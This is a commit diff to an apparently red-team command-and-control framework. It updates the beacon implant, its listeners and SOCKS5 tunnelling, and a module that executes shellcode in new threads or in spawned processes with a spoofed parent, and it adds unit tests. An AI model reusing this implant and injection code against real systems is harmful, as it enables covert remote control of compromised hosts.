CommandSpecs & Tests

* CommandSpecs

* CommandSpecs

* feat(command-specs): add simple module specs

* listModule

* AssemblyExec

* AssemblyExecTests

* Minor

* Inject

* InjectTests

* Spec modules

* Folder layout

* upload & download

* Chisel Minidump Powershell & Script

* CoffLoader DotnetExec /KerberosUseTicket PsExec PwSh ScreenShot

* add artifact_filters

* Minor

* stabilisation

* Fixes

* manual test

* manual test

* manual test

* manual test

* manual test

* manual test

* manual test

* manual test

* ScreenShot png

* socks5 hostname

* Maj for AI

* minor
This commit is contained in:
Maxime dcb
2026-05-10 21:28:40 +02:00
committed by GitHub
parent a01e162a00
commit 108a370807
103 changed files with 4210 additions and 732 deletions
+39 -18
View File
@@ -38,6 +38,8 @@ typedef ModuleCmd* (*constructProc)();
namespace
{
constexpr const char* SocksHostnamePrefix = "host:";
std::string getCurrentProcessArch()
{
#if defined(_M_IX86) || defined(__i386__)
@@ -52,6 +54,16 @@ std::string getCurrentProcessArch()
return "unknown";
#endif
}
bool hasSocksHostnamePrefix(const std::string& destination)
{
return destination.rfind(SocksHostnamePrefix, 0) == 0;
}
std::string stripSocksHostnamePrefix(const std::string& destination)
{
return destination.substr(std::char_traits<char>::length(SocksHostnamePrefix));
}
}
@@ -588,9 +600,9 @@ bool Beacon::runTasks()
{
C2Message listenerProofOfLife;
listenerProofOfLife.set_instruction(ListenerPollCmd); // Indicate this is a poll/proof message.
listenerProofOfLife.set_data(m_listeners[i]->getListenerHash()); // Include unique listener identifier.
listenerProofOfLife.set_returnvalue(m_listeners[i]->getListenerMetadata()); // Include listener status/metadata.
listenerProofOfLife.set_instruction(ListenerPollCmd); // Indicate this is a poll/proof message.
listenerProofOfLife.set_data(m_listeners[i]->getListenerMetadata()); // Include listener status/metadata.
listenerProofOfLife.set_returnvalue(m_listeners[i]->getListenerHash()); // Include unique listener identifier.
// Add the heartbeat to the response queue.
m_taskResult.push(listenerProofOfLife);
@@ -643,12 +655,13 @@ bool Beacon::handleEndInstruction(C2Message&, C2Message& c2RetMessage)
bool Beacon::handleSleepInstruction(C2Message& c2Message, C2Message& c2RetMessage)
{
std::string newSleepTimer = c2Message.cmd();
try
float sleepSeconds = 0.0f;
if (parseSleepSeconds(newSleepTimer, sleepSeconds))
{
m_aliveTimerMs = std::stof(newSleepTimer) * 1000;
m_aliveTimerMs = static_cast<int>(sleepSeconds * 1000);
newSleepTimer = std::to_string(m_aliveTimerMs) + "ms";
}
catch (const std::invalid_argument&)
else
{
newSleepTimer = CmdStatusFail;
}
@@ -704,11 +717,7 @@ bool Beacon::handleListenerInstruction(C2Message& c2Message, C2Message& c2RetMes
std::string localHost = splitedCmd[2];
int localPort;
try
{
localPort = std::stoi(splitedCmd[3]);
}
catch (const std::invalid_argument&)
if (!parseTcpListenerPort(splitedCmd[3], localPort))
{
c2RetMessage.set_errorCode(ERROR_PORT_FORMAT);
return false;
@@ -746,6 +755,9 @@ bool Beacon::handleListenerInstruction(C2Message& c2Message, C2Message& c2RetMes
}
else if (splitedCmd[0] == StopCmd)
{
if (splitedCmd.size() != 2)
return false;
std::string listenerHash = splitedCmd[1];
auto object = std::find_if(m_listeners.begin(), m_listeners.end(),
[&](const std::unique_ptr<Listener>& obj){ return obj->getListenerHash().rfind(listenerHash, 0) == 0; });
@@ -754,7 +766,7 @@ bool Beacon::handleListenerInstruction(C2Message& c2Message, C2Message& c2RetMes
{
c2RetMessage.set_cmd(cmd);
c2RetMessage.set_returnvalue((*object)->getListenerHash());
m_listeners.erase(std::remove(m_listeners.begin(), m_listeners.end(), *object));
m_listeners.erase(object);
return false;
}
else
@@ -789,9 +801,18 @@ bool Beacon::handleSocks5Instruction(C2Message& c2Message, C2Message& c2RetMessa
std::unique_ptr<SocksTunnelClient> socksTunnelClient = std::make_unique<SocksTunnelClient>(c2Message.pid());
try
{
uint32_t ip_dst = std::stoi(c2Message.data());
uint16_t port = std::stoi(c2Message.args());
int initResult = socksTunnelClient->init(ip_dst, port);
const std::string destination = c2Message.data();
uint16_t port = static_cast<uint16_t>(std::stoul(c2Message.args()));
int initResult = 0;
if (hasSocksHostnamePrefix(destination))
{
initResult = socksTunnelClient->initHostname(stripSocksHostnamePrefix(destination), port);
}
else
{
uint32_t ip_dst = static_cast<uint32_t>(std::stoul(destination));
initResult = socksTunnelClient->init(ip_dst, port);
}
if (initResult)
{
m_socksTunnelClient.push_back(std::move(socksTunnelClient));
@@ -800,14 +821,14 @@ bool Beacon::handleSocks5Instruction(C2Message& c2Message, C2Message& c2RetMessa
else
{
SPDLOG_DEBUG("Socks5 init {} failed", c2Message.pid());
c2RetMessage.set_data("fail");
c2RetMessage.set_data("fail:connect");
return false;
}
}
catch (const std::invalid_argument&)
catch (const std::exception&)
{
SPDLOG_DEBUG("Socks5 init {} failed", c2Message.pid());
c2RetMessage.set_errorCode(ERROR_GENERIC);
c2RetMessage.set_data("fail:invalid_destination");
return false;
}
SPDLOG_DEBUG("Socks5 init Finished");
+8
View File
@@ -8,6 +8,7 @@
#include <vector>
#include <memory>
#include <unordered_map>
#include <utility>
#include <nlohmann/json.hpp>
@@ -69,4 +70,11 @@ private:
bool handleUnloadModuleInstruction(C2Message& c2Message, C2Message& c2RetMessage);
bool handleModuleInstruction(C2Message& c2Message, C2Message& c2RetMessage);
#if defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
protected:
void addTestListener(std::unique_ptr<Listener> listener)
{
m_listeners.push_back(std::move(listener));
}
#endif
};
+96
View File
@@ -2,6 +2,7 @@
#include "../../modules/ModuleCmd/CommonCommand.hpp"
#include <iostream>
#include <memory>
#include <string>
class BeaconTestProxy : public Beacon {
@@ -10,15 +11,35 @@ public:
using Beacon::cmdToTasks;
using Beacon::taskResultsToCmd;
using Beacon::execInstruction;
using Beacon::runTasks;
#if defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
using Beacon::addTestListener;
#endif
void checkIn() override {}
void pushResult(const C2Message& msg) { m_taskResult.push(msg); }
C2Message popResult()
{
C2Message msg = m_taskResult.front();
m_taskResult.pop();
return msg;
}
size_t resultCount() const { return m_taskResult.size(); }
size_t taskCount() const { return m_tasks.size(); }
const std::string& arch() const { return m_arch; }
};
class FakeListener : public Listener {
public:
FakeListener()
: Listener("0.0.0.0", "4444", ListenerTcpType)
{
m_listenerHash = "child-listener";
m_metadata = R"({"1":"tcp","2":"0.0.0.0","3":"4444"})";
}
};
namespace {
const std::string kConfig = R"({"xorKey":"key","ModulesConfig":{}})";
@@ -80,6 +101,20 @@ int main()
ok &= expect(!out.empty(), "serialized task results should not be empty");
ok &= expect(b.resultCount() == 0, "taskResultsToCmd should clear result queue");
}
#if defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
{
BeaconTestProxy b;
b.addTestListener(std::make_unique<FakeListener>());
ok &= expect(!b.runTasks(), "listener poll should keep beacon running");
ok &= expect(b.resultCount() == 1, "listener poll should queue one proof of life");
C2Message poll = b.popResult();
ok &= expect(poll.instruction() == ListenerPollCmd, "listener poll instruction mismatch");
ok &= expect(poll.data() == R"({"1":"tcp","2":"0.0.0.0","3":"4444"})", "listener poll should carry metadata in data");
ok &= expect(poll.returnvalue() == "child-listener", "listener poll should carry listener hash in return value");
}
#endif
{
BeaconTestProxy b;
C2Message sleepMsg;
@@ -89,6 +124,13 @@ int main()
ok &= expect(!b.execInstruction(sleepMsg, sleepRet), "sleep command should keep beacon running");
ok &= expect(sleepRet.returnvalue() == "2000ms", "sleep command should convert seconds to ms");
C2Message zeroSleep;
zeroSleep.set_instruction(SleepCmd);
zeroSleep.set_cmd("0");
C2Message zeroRet;
ok &= expect(!b.execInstruction(zeroSleep, zeroRet), "zero sleep should keep beacon running");
ok &= expect(zeroRet.returnvalue() == "0ms", "zero sleep should be accepted");
C2Message badSleep;
badSleep.set_instruction(SleepCmd);
badSleep.set_cmd("abc");
@@ -96,11 +138,65 @@ int main()
ok &= expect(!b.execInstruction(badSleep, badRet), "bad sleep should keep beacon running");
ok &= expect(badRet.returnvalue() == CmdStatusFail, "bad sleep should fail cleanly");
C2Message partialSleep;
partialSleep.set_instruction(SleepCmd);
partialSleep.set_cmd("1abc");
C2Message partialRet;
ok &= expect(!b.execInstruction(partialSleep, partialRet), "partial sleep should keep beacon running");
ok &= expect(partialRet.returnvalue() == CmdStatusFail, "partial sleep should fail cleanly");
C2Message negativeSleep;
negativeSleep.set_instruction(SleepCmd);
negativeSleep.set_cmd("-1");
C2Message negativeRet;
ok &= expect(!b.execInstruction(negativeSleep, negativeRet), "negative sleep should keep beacon running");
ok &= expect(negativeRet.returnvalue() == CmdStatusFail, "negative sleep should fail cleanly");
C2Message endMsg;
endMsg.set_instruction(EndCmd);
C2Message endRet;
ok &= expect(b.execInstruction(endMsg, endRet), "end command should stop beacon");
ok &= expect(endRet.returnvalue() == CmdStatusSuccess, "end command should return success");
C2Message badListenerPort;
badListenerPort.set_instruction(ListenerCmd);
badListenerPort.set_cmd(StartCmd + " " + ListenerTcpType + " 0.0.0.0 notaport");
C2Message badListenerRet;
ok &= expect(!b.execInstruction(badListenerPort, badListenerRet), "bad listener port should keep beacon running");
ok &= expect(badListenerRet.errorCode() == ERROR_PORT_FORMAT, "bad listener port should be rejected");
C2Message zeroListenerPort;
zeroListenerPort.set_instruction(ListenerCmd);
zeroListenerPort.set_cmd(StartCmd + " " + ListenerTcpType + " 0.0.0.0 0");
C2Message zeroListenerRet;
ok &= expect(!b.execInstruction(zeroListenerPort, zeroListenerRet), "zero listener port should keep beacon running");
ok &= expect(zeroListenerRet.errorCode() == ERROR_PORT_FORMAT, "zero listener port should be rejected");
}
{
BeaconTestProxy b;
C2Message hostSocksInit;
hostSocksInit.set_instruction(Socks5Cmd);
hostSocksInit.set_cmd(InitCmd);
hostSocksInit.set_data("host:");
hostSocksInit.set_args("80");
hostSocksInit.set_pid(7);
C2Message hostSocksRet;
ok &= expect(!b.execInstruction(hostSocksInit, hostSocksRet), "hostname socks init failure should keep beacon running");
ok &= expect(hostSocksRet.instruction() == Socks5Cmd, "hostname socks init should preserve instruction");
ok &= expect(hostSocksRet.cmd() == InitCmd, "hostname socks init should preserve command");
ok &= expect(hostSocksRet.pid() == 7, "hostname socks init should preserve tunnel id");
ok &= expect(hostSocksRet.data() == "fail:connect", "empty hostname should fail cleanly");
C2Message invalidSocksInit;
invalidSocksInit.set_instruction(Socks5Cmd);
invalidSocksInit.set_cmd(InitCmd);
invalidSocksInit.set_data("not-a-number");
invalidSocksInit.set_args("80");
C2Message invalidSocksRet;
ok &= expect(!b.execInstruction(invalidSocksInit, invalidSocksRet), "invalid socks init failure should keep beacon running");
ok &= expect(invalidSocksRet.data() == "fail:invalid_destination", "invalid socks destination should fail cleanly");
}
{
BeaconTestProxy b;
+57 -34
View File
@@ -21,6 +21,43 @@ constexpr std::string_view mainKeyConfig = ".CRT$XCL";
// compile time encryption
constexpr std::array<char, 29> _EncryptedKeyTraficEncryption_ = compileTimeXOR<29, 8>(_KeyTraficEncryption_, mainKeyConfig);
namespace
{
bool parseListenerMetadata(const std::string& listenerMetadata, std::string& type, std::string& param1, std::string& param2)
{
nlohmann::json parsed = nlohmann::json::parse(listenerMetadata, nullptr, false);
if(parsed.is_discarded() || !parsed.is_object())
return false;
auto typeIt = parsed.find("1");
auto param1It = parsed.find("2");
auto param2It = parsed.find("3");
if(typeIt == parsed.end() || param1It == parsed.end() || param2It == parsed.end())
return false;
if(!typeIt->is_string() || !param1It->is_string() || !param2It->is_string())
return false;
type = typeIt->get<std::string>();
param1 = param1It->get<std::string>();
param2 = param2It->get<std::string>();
return !type.empty() && !param1.empty() && !param2.empty();
}
bool extractListenerReport(const C2Message& c2Message, bool allowLegacySwap, std::string& listenerHash, std::string& type, std::string& param1, std::string& param2)
{
listenerHash = c2Message.returnvalue();
if(parseListenerMetadata(c2Message.data(), type, param1, param2))
return !listenerHash.empty();
if(!allowLegacySwap)
return false;
listenerHash = c2Message.data();
return parseListenerMetadata(c2Message.returnvalue(), type, param1, param2)
&& !listenerHash.empty();
}
}
#ifdef BUILD_TEAMSERVER
namespace
{
@@ -213,6 +250,7 @@ bool Listener::addSessionListener(const std::string& beaconHash, const std::stri
std::lock_guard<std::mutex> lock(m_mutex);
bool sessionExist = false;
bool listenerAdded = false;
// Iterate through all active sessions to find the one matching the given beacon hash.
for(auto it = m_sessions.begin() ; it != m_sessions.end(); ++it )
@@ -222,9 +260,9 @@ bool Listener::addSessionListener(const std::string& beaconHash, const std::stri
sessionExist=true;
// Add the listener to the matching session if it doesn't already exist.
(*it)->addListener(listenerHash, type, param1, param2);
listenerAdded = (*it)->addListener(listenerHash, type, param1, param2);
#ifdef BUILD_TEAMSERVER
if(m_logger)
if(listenerAdded && m_logger)
m_logger->info("Listener {} registered child listener {} ({})", beaconHash, listenerHash, type);
#endif
break;
@@ -236,8 +274,8 @@ bool Listener::addSessionListener(const std::string& beaconHash, const std::stri
m_logger->warn("Unable to register listener {} for beacon {} - session not found", listenerHash, beaconHash);
#endif
// Return true if the session was found and updated, false otherwise.
return sessionExist;
// Return true only when the session was updated with a new child listener.
return sessionExist && listenerAdded;
}
@@ -526,7 +564,8 @@ bool Listener::handleMessages(const std::string& input, std::string& output)
{
const C2Message& c2Message = bundleC2Message->c2messages(j);
addTaskResult(c2Message, beaconHash);
if (c2Message.instruction() != ListenerPollCmd)
addTaskResult(c2Message, beaconHash);
// Handle instruction that have impact on this Listener
// Here if a beacon is terminated, we need to remove the list of sessions associeted with it.
@@ -573,23 +612,15 @@ bool Listener::handleMessages(const std::string& input, std::string& output)
if(splitedCmd[0]==StartCmd)
{
std::string listenerMetadata = c2Message.data();
std::string listenerHash = c2Message.returnvalue();
nlohmann::json parsed;
try
{
parsed = nlohmann::json::parse(listenerMetadata);
std::string type = parsed["1"];
std::string param1 = parsed["2"];
std::string param2 = parsed["3"];
std::string listenerHash;
std::string type;
std::string param1;
std::string param2;
if(extractListenerReport(c2Message, false, listenerHash, type, param1, param2))
addSessionListener(beaconHash, listenerHash, type, param1, param2);
}
catch (...)
{
else
continue;
}
}
else if(splitedCmd[0]==StopCmd)
{
@@ -599,23 +630,15 @@ bool Listener::handleMessages(const std::string& input, std::string& output)
// Handle proof of life of listeners
else if(c2Message.instruction()==ListenerPollCmd)
{
std::string listenerMetadata = c2Message.data();
std::string listenerHash = c2Message.returnvalue();
nlohmann::json parsed;
try
{
parsed = nlohmann::json::parse(listenerMetadata);
std::string type = parsed["1"];
std::string param1 = parsed["2"];
std::string param2 = parsed["3"];
std::string listenerHash;
std::string type;
std::string param1;
std::string param2;
if(extractListenerReport(c2Message, true, listenerHash, type, param1, param2))
addSessionListener(beaconHash, listenerHash, type, param1, param2);
}
catch (...)
{
else
continue;
}
}
}
@@ -667,4 +690,4 @@ bool Listener::handleMessages(const std::string& input, std::string& output)
output = base64_encode(data);
return isTaskToSend;
}
}
+17 -1
View File
@@ -125,6 +125,16 @@ int ListenerHttp::init()
return -1;
}
if(!m_svr->bind_to_port(m_host.c_str(), m_port))
{
#ifdef BUILD_TEAMSERVER
if(m_logger)
m_logger->error("Failed to bind {} listener on {}:{}", m_isHttps ? "HTTPS" : "HTTP", m_host, m_port);
#endif
m_svr.reset();
return -1;
}
m_httpServ = std::make_unique<std::thread>(&ListenerHttp::launchHttpServ, this);
#ifdef BUILD_TEAMSERVER
@@ -393,7 +403,13 @@ void ListenerHttp::launchHttpServ()
});
}
m_svr->listen(m_host.c_str(), m_port);
if(!m_svr->listen_after_bind())
{
#ifdef BUILD_TEAMSERVER
if(m_logger)
m_logger->error("{} listener stopped because listen failed on {}:{}", m_isHttps ? "HTTPS" : "HTTP", m_host, m_port);
#endif
}
}
bool ListenerHttp::processPayload(const std::string& requestData, std::string& responseData)
+37 -11
View File
@@ -43,15 +43,18 @@ ListenerSmb::ListenerSmb(const std::string& ip, const std::string& pipeName, con
m_logger->info("Initializing SMB listener on {} using pipe {}", ip, pipeName);
#endif
m_stopThread=false;
m_stopThread.store(false);
m_smbServ = std::make_unique<std::thread>(&ListenerSmb::launchSmbServ, this);
}
ListenerSmb::~ListenerSmb()
{
m_stopThread=true;
m_smbServ->join();
m_stopThread.store(true);
wakeServer();
if(m_smbServ && m_smbServ->joinable())
m_smbServ->join();
delete m_serverSmb;
@@ -61,25 +64,49 @@ ListenerSmb::~ListenerSmb()
#endif
}
void ListenerSmb::wakeServer()
{
try
{
PipeHandler::Client client(".", m_param2);
if(client.initConnection())
{
std::string stopMessage = "__stop__";
client.sendData(stopMessage);
client.closeConnection();
}
}
catch (...)
{
}
}
void ListenerSmb::launchSmbServ()
{
try
{
while(1)
while(!m_stopThread.load())
{
if(m_stopThread)
return;
m_serverSmb->initServer();
if(!m_serverSmb->initServer())
{
if(!m_stopThread.load())
std::this_thread::sleep_for(std::chrono::milliseconds(50));
continue;
}
bool res = false;
string input;
while(input.empty())
do
{
res = m_serverSmb->receiveData(input);
std::this_thread::sleep_for(std::chrono::milliseconds(50));
if(input.empty() && !m_stopThread.load())
std::this_thread::sleep_for(std::chrono::milliseconds(50));
}
while(!m_stopThread.load() && input.empty());
if(m_stopThread.load())
return;
#ifdef BUILD_TEAMSERVER
if(m_logger && m_logger->should_log(spdlog::level::debug))
@@ -114,4 +141,3 @@ void ListenerSmb::launchSmbServ()
return;
}
+4 -1
View File
@@ -2,6 +2,8 @@
#include "Listener.hpp"
#include <atomic>
namespace PipeHandler
{
@@ -17,9 +19,10 @@ public:
private:
void launchSmbServ();
void wakeServer();
PipeHandler::Server* m_serverSmb;
bool m_stopThread;
std::atomic_bool m_stopThread;
std::unique_ptr<std::thread> m_smbServ;
};
+65 -3
View File
@@ -16,6 +16,14 @@ public:
using Listener::rmSessionListener;
void addSession(const std::shared_ptr<Session>& s) { m_sessions.push_back(s); }
bool process(const std::string& input, std::string& output) { return handleMessages(input, output); }
std::string encode(const MultiBundleC2Message& message)
{
std::string data;
const_cast<MultiBundleC2Message&>(message).SerializeToString(&data);
XOR(data, m_key);
return base64_encode(data);
}
};
namespace {
@@ -29,9 +37,11 @@ namespace {
return true;
}
std::shared_ptr<Session> makeSession()
std::shared_ptr<Session> makeSession(
const std::string& listenerHash = "lhash",
const std::string& beaconHash = "bhash")
{
return std::make_shared<Session>("lhash", "bhash", "host", "user", "arch", "priv", "os");
return std::make_shared<Session>(listenerHash, beaconHash, "host", "user", "arch", "priv", "os");
}
}
@@ -43,8 +53,9 @@ int main()
ListenerTestProxy l;
l.addSession(makeSession());
ok &= expect(l.addSessionListener("bhash", "child", "tcp", "p1", "p2"), "session listener should be added");
ok &= expect(!l.addSessionListener("bhash", "child", "tcp", "p1", "p2"), "duplicate session listener should not be added");
auto infos = l.getSessionListenerInfos();
ok &= expect(infos.size() == 1, "session listener info should be visible");
ok &= expect(infos.size() == 1, "session listener info should be visible once");
ok &= expect(l.rmSessionListener("bhash", "child"), "session listener should be removed");
}
{
@@ -67,6 +78,57 @@ int main()
auto out = l.getTaskResult(hash);
ok &= expect(out.instruction() == "RES", "queued task result should be retrievable");
}
{
const std::string beaconHash = "ABCDEFGH12345678ABCDEFGH12345678";
ListenerTestProxy l;
l.addSession(makeSession("lhash", beaconHash));
MultiBundleC2Message incoming;
BundleC2Message* bundle = incoming.add_bundlec2messages();
bundle->set_beaconhash(beaconHash);
bundle->set_listenerhash("lhash");
bundle->set_lastProofOfLife("0");
C2Message* poll = bundle->add_c2messages();
poll->set_instruction(ListenerPollCmd);
poll->set_data(R"({"1":"tcp","2":"0.0.0.0","3":"4444"})");
poll->set_returnvalue("child-listener");
std::string output;
l.process(l.encode(incoming), output);
auto infos = l.getSessionListenerInfos();
ok &= expect(infos.size() == 1, "listener poll should update session listener metadata");
ok &= expect(infos[0].getListenerHash() == "child-listener", "listener poll should preserve child listener hash");
ok &= expect(infos[0].getType() == "tcp", "listener poll should preserve child listener type");
auto result = l.getTaskResult(beaconHash);
ok &= expect(result.instruction().empty(), "listener poll should not be queued as a command result");
}
{
const std::string beaconHash = "ABCDEFGH12345678ABCDEFGH12345678";
ListenerTestProxy l;
l.addSession(makeSession("lhash", beaconHash));
MultiBundleC2Message incoming;
BundleC2Message* bundle = incoming.add_bundlec2messages();
bundle->set_beaconhash(beaconHash);
bundle->set_listenerhash("lhash");
bundle->set_lastProofOfLife("0");
C2Message* poll = bundle->add_c2messages();
poll->set_instruction(ListenerPollCmd);
poll->set_data("child-listener");
poll->set_returnvalue(R"({"1":"tcp","2":"0.0.0.0","3":"4444"})");
std::string output;
l.process(l.encode(incoming), output);
auto infos = l.getSessionListenerInfos();
ok &= expect(infos.size() == 1, "legacy listener poll should update session listener metadata");
ok &= expect(infos[0].getListenerHash() == "child-listener", "legacy listener poll should preserve child listener hash");
ok &= expect(infos[0].getType() == "tcp", "legacy listener poll should preserve child listener type");
}
return ok ? 0 : 1;
}
+157 -144
View File
@@ -1,10 +1,12 @@
#include "AssemblyExec.hpp"
#include <cstring>
#include <iterator>
#include <sstream>
#include <chrono>
#include <thread>
#include "AssemblyExecCommandOptions.hpp"
#include "Common.hpp"
#include "Tools.hpp"
@@ -43,6 +45,10 @@ namespace
constexpr int ERROR_PROCESS_CREATION = 1;
}
#define modeThread "0"
#define modeProcess "1"
#define modeprocessWithSpoofedParent "2"
#ifdef _WIN32
@@ -87,179 +93,143 @@ std::string AssemblyExec::getInfo()
info += "Execute shellcode in a remote process (e.g., notepad.exe). Waits for execution to complete or until a 120-second timeout.\n";
info += "Captures and returns any output produced by the shellcode.\n";
info += "\nOptions:\n";
info += " -r <file> Use a raw shellcode file.\n";
info += " -e <exe> [args] Use Donut to generate shellcode from a .NET executable.\n";
info += " -d <dll> <method> [args] Use Donut to generate shellcode from a .NET DLL and specify method and arguments.\n";
info += "\nExecution Modes:\n";
info += " thread Inject and execute in a new thread\n";
info += " process Inject into a newly spawned process\n";
info += " --mode <mode> --raw <file> Execute raw shellcode.\n";
info += " --mode <mode> --donut-exe <exe> -- [args] Execute Donut-generated shellcode from a .NET executable.\n";
info += " --mode <mode> --donut-dll <dll> --method <method> -- [args]\n";
info += " Execute Donut-generated shellcode from a .NET DLL.\n";
info += "\nModes:\n";
info += " thread Inject and execute in a new thread\n";
info += " process Inject into a newly spawned process\n";
info += " processWithSpoofedParent Same as above, but with spoofed parent process\n";
info += "\nExamples:\n";
info += " - assemblyExec thread\n";
info += " - assemblyExec process\n";
info += " - assemblyExec -r ./shellcode.bin\n";
info += " - assemblyExec -e ./program.exe arg1 arg2\n";
info += " - assemblyExec -e ./Seatbelt.exe -group=system\n";
info += " - assemblyExec -d ./test.dll MethodName arg1 arg2\n";
info += " - assemblyExec --mode process --raw ./shellcode.bin\n";
info += " - assemblyExec --mode thread --donut-exe ./Seatbelt.exe -- -group=system\n";
info += " - assemblyExec --mode process --donut-dll ./test.dll --method MethodName -- arg1 arg2\n";
#endif
return info;
}
#define modeThread "0"
#define modeProcess "1"
#define modeprocessWithSpoofedParent "2"
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
namespace
{
std::string modeWireValue(const std::string& mode)
{
const std::string normalized = assembly_exec_command::normalizeModeName(mode);
if (normalized == "thread")
return modeThread;
if (normalized == "processWithSpoofedParent")
return modeprocessWithSpoofedParent;
return modeProcess;
}
std::string readBinaryFile(const std::string& path)
{
std::ifstream input(path, std::ios::binary);
return std::string(std::istreambuf_iterator<char>(input), std::istreambuf_iterator<char>());
}
} // namespace
int AssemblyExec::initPreparedShellcode(const ModulePreparedShellcodeTask& task, C2Message& c2Message)
{
if (task.payload.empty())
{
c2Message.set_returnvalue("Shellcode payload is empty.");
return -1;
}
std::string requestedMode = task.executionMode;
if (requestedMode.empty())
{
if (!m_isModeProcess)
requestedMode = "thread";
else if (m_isSpoofParent)
requestedMode = "processWithSpoofedParent";
else
requestedMode = "process";
}
const std::string mode = assembly_exec_command::normalizeModeName(requestedMode);
if (mode.empty())
{
c2Message.set_returnvalue("Unsupported execution mode.");
return -1;
}
c2Message.set_args(modeWireValue(mode));
c2Message.set_pid(-1);
c2Message.set_cmd(task.displayCommand);
c2Message.set_instruction(std::string(moduleName));
c2Message.set_inputfile(task.inputFile);
c2Message.set_data(task.payload.data(), task.payload.size());
return 0;
}
#endif
int AssemblyExec::init(std::vector<std::string> &splitedCmd, C2Message &c2Message)
{
#if defined(BUILD_TEAMSERVER) || defined(C2CORE_BUILD_TESTS) || defined(C2CORE_BUILD_FUNCTIONAL_TESTS)
if(splitedCmd.size() == 2)
assembly_exec_command::CommandOptions options = assembly_exec_command::parseCommandOptions(splitedCmd);
if (!options.error.empty())
{
if(splitedCmd[1]=="thread")
c2Message.set_returnvalue(options.error + "\n");
return -1;
}
if(options.modeOnly)
{
if(options.mode=="thread")
{
m_isModeProcess = false;
c2Message.set_returnvalue("thread mode.\n");
return -1;
}
else if(splitedCmd[1]=="process")
if(options.mode=="process")
{
m_isModeProcess = true;
m_isSpoofParent = false;
c2Message.set_returnvalue("process mode.\n");
return -1;
}
else if(splitedCmd[1]=="processWithSpoofedParent")
if(options.mode=="processWithSpoofedParent")
{
m_isModeProcess = true;
m_isSpoofParent = true;
c2Message.set_returnvalue("process mode with parent spoofing.\n");
return -1;
}
else
{
c2Message.set_returnvalue(getInfo());
return -1;
}
}
else if (splitedCmd.size() >= 3)
if (options.generator != "raw")
{
bool donut=false;
std::string inputFile=splitedCmd[2];
std::string method;
std::string args;
int pid=-1;
if(splitedCmd[1]=="-e")
{
donut=true;
for (int idx = 3; idx < splitedCmd.size(); idx++)
{
if(!args.empty())
args+=" ";
args+=splitedCmd[idx];
}
}
else if(splitedCmd[1]=="-d")
{
donut=true;
if(splitedCmd.size() > 3)
method=splitedCmd[3];
else
{
std::string msg = "Method is mandatory for DLL.\n";
c2Message.set_returnvalue(msg);
return -1;
}
for (int idx = 4; idx < splitedCmd.size(); idx++)
{
if(!args.empty())
args+=" ";
args+=splitedCmd[idx];
}
}
else if(splitedCmd[1]=="-r")
{
}
else
{
std::string msg = "One of the tags, -r, -e or -d must be provided.\n";
c2Message.set_returnvalue(msg);
return -1;
}
if(inputFile.empty())
{
std::string msg = "A file name have to be provided.\n";
c2Message.set_returnvalue(msg);
return -1;
}
std::ifstream myfile;
myfile.open(inputFile, std::ios::binary);
if(!myfile)
{
std::string newInputFile=m_toolsDirectoryPath;
newInputFile+=inputFile;
myfile.open(newInputFile, std::ios::binary);
inputFile=newInputFile;
}
if(!myfile)
{
std::string msg = "Couldn't open file.\n";
c2Message.set_returnvalue(msg);
return -1;
}
myfile.close();
std::string payload;
if(donut)
{
// if we create a process we need to exite process with donut shellcode
// Otherwise we exite the threadd
creatShellCodeDonut(inputFile, method, args, payload, true, false, m_windowsArch);
}
else
{
std::ifstream input(inputFile, std::ios::binary);
std::string payload_(std::istreambuf_iterator<char>(input), {});
payload=payload_;
}
if(payload.size()==0)
{
std::string msg = "Something went wrong. Payload empty.\n";
c2Message.set_returnvalue(msg);
return -1;
}
std::string cmd;
for (int idx = 1; idx < splitedCmd.size(); idx++)
{
cmd+=splitedCmd[idx];
cmd+=" ";
}
if(m_isModeProcess == false)
c2Message.set_args(modeThread);
else if(m_isModeProcess == true && m_isSpoofParent == false)
c2Message.set_args(modeProcess);
else if(m_isModeProcess == true && m_isSpoofParent == true)
c2Message.set_args(modeprocessWithSpoofedParent);
c2Message.set_pid(pid);
c2Message.set_cmd(cmd);
c2Message.set_instruction(splitedCmd[0]);
c2Message.set_inputfile(inputFile);
c2Message.set_data(payload.data(), payload.size());
}
else
{
c2Message.set_returnvalue(getInfo());
c2Message.set_returnvalue("Donut shellcode generation is handled by the TeamServer shellcode service.\n");
return -1;
}
std::string inputFile = options.sourcePath;
std::ifstream myfile(inputFile, std::ios::binary);
if(!myfile)
{
std::string newInputFile=m_toolsDirectoryPath;
newInputFile+=inputFile;
myfile.open(newInputFile, std::ios::binary);
inputFile=newInputFile;
}
if(!myfile)
{
c2Message.set_returnvalue("Couldn't open file.\n");
return -1;
}
myfile.close();
ModulePreparedShellcodeTask task;
task.inputFile = inputFile;
task.payload = readBinaryFile(inputFile);
task.executionMode = options.mode;
task.displayCommand = options.displayCommand;
return initPreparedShellcode(task, c2Message);
#endif
return 0;
}
@@ -549,19 +519,62 @@ int AssemblyExec::createNewThread(const std::string& payload, std::string& resul
}
HANDLE thread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) ptr, NULL, CREATE_SUSPENDED, 0);
if (thread == NULL)
{
stdCapture.EndCapture();
result += "Error: Thread failed to start.\n";
return -1;
}
BYTE* baseAddress = (BYTE*)GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlExitUserProcess");
HANDLE phHwBpHandler;
int indexHWBP = 0;
set_hwbp(thread, baseAddress, handlerRtlExitUserProcess, indexHWBP, &phHwBpHandler);
if (baseAddress != NULL)
set_hwbp(thread, baseAddress, handlerRtlExitUserProcess, indexHWBP, &phHwBpHandler);
if (thread != NULL)
ResumeThread(thread);
ResumeThread(thread);
WaitForSingleObject(thread, maxDurationShellCode*1000);
DWORD waitStatus = WAIT_TIMEOUT;
const auto begin = std::chrono::steady_clock::now();
for (;;)
{
waitStatus = WaitForSingleObject(thread, 50);
stdCapture.DrainCapture();
if (waitStatus != WAIT_TIMEOUT)
break;
const auto now = std::chrono::steady_clock::now();
const auto elapsed = std::chrono::duration_cast<std::chrono::seconds>(now - begin).count();
if (elapsed >= maxDurationShellCode)
break;
}
stdCapture.EndCapture();
result+=stdCapture.GetCapture();
const std::string capturedOutput = stdCapture.GetCapture();
if (!capturedOutput.empty())
{
result += "Stdout:\n";
